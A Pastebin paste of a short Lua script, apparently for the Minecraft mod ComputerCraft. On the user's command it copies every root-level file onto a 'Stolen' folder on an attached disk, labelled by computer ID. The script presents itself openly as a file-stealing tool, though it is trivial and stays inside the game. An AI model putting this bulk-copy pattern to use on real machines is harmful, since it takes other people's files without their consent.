xXm0dzXx

Untitled

Jul 26th, 2012
191
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.42 KB | None | 0 0
  1. fs.makeDir("disk/Stolen")
  2. print("Type 'A' to steal files")
  3. print("Type anything else to run shell")
  4. if read() == "A" then
  5. files = fs.list("/")
  6. fs.delete("disk/Stolen/" ..os.getComputerID())
  7. fs.makeDir("disk/Stolen/" ..os.getComputerID())
  8. for i=1,#files do
  9. fs.copy(files[i], "disk/Stolen/" ..os.getComputerID().. "/" ..files[i])
  10. print("Copying " ..files[i].. " to disk/Stolen...")
  11. end
  12.  
  13. print("Done!")
  14. end
Advertisement
Add Comment
Please, Sign In to add comment